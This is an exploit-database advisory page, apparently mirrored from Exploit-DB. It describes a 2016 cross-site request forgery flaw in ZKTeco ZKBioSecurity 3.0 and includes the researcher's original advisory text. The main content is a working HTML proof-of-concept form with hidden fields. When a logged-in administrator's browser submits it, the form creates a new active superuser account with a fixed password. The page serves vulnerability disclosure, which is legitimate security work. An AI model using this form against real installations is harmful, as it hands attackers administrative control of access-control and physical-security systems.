ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit

vendor:

ZKBioSecurity

by:

Gjoko 'LiquidWorm' Krstic

7.5

CVSS

HIGH

CSRF

352

CWE

Product Name: ZKBioSecurity

Affected Version From: 3.0.1.0_R_230

Affected Version To: 3.0.1.0_R_230

Patch Exists: NO

Related CWE:

CPE: a:zkteco:zkbiosecurity:3.0.1.0_r_230

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 7 Ultimate SP1 (EN), Microsoft Windows 7 Professional SP1 (EN), Apache-Coyote/1.1, Apache Tomcat/7.0.56

2016

ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Apply the latest patch or upgrade to a newer version of the software.

Source

Exploit-DB raw data:

<!--

ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit


Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.0_R_230
                  Platform: 3.0.1.0_R_230
                  Personnel: 1.0.1.0_R_1916
                  Access: 6.0.1.0_R_1757
                  Elevator: 2.0.1.0_R_777
                  Visitor: 2.0.1.0_R_877
                  Video:2.0.1.0_R_489
                  Adms: 1.0.1.0_R_197

Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.



Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)
           Apache-Coyote/1.1
           Apache Tomcat/7.0.56


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5364
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5364.php


18.07.2016

-->


<html>
  <body>
    <form action="http://127.0.0.1:8088/authUserAction!edit.action" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="authUser&#46;username" value="thricer" />
      <input type="hidden" name="authUser&#46;loginPwd" value="111111" />
      <input type="hidden" name="repassword" value="111111" />
      <input type="hidden" name="authUser&#46;isActive" value="true" />
      <input type="hidden" name="authUser&#46;isSuperuser" value="true" />
      <input type="hidden" name="groupIds" value="1" />
      <input type="hidden" name="deptIds" value="1" />
      <input type="hidden" name="areaIds" value="1" />
      <input type="hidden" name="authUser&#46;email" value="lab@zeroscience.mk" />
      <input type="hidden" name="authUser&#46;name" value="test" />
      <input type="hidden" name="authUser&#46;lastName" value="lasttest" />
      <input type="hidden" name="fingerTemplate" value="&#13;" />
      <input type="hidden" name="fingerId" value="&#13;" />
      <input type="hidden" name="logMethod" value="add" />
      <input type="hidden" name="un" value="1471451964349_2769" />
      <input type="hidden" name="systemCode" value="base" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>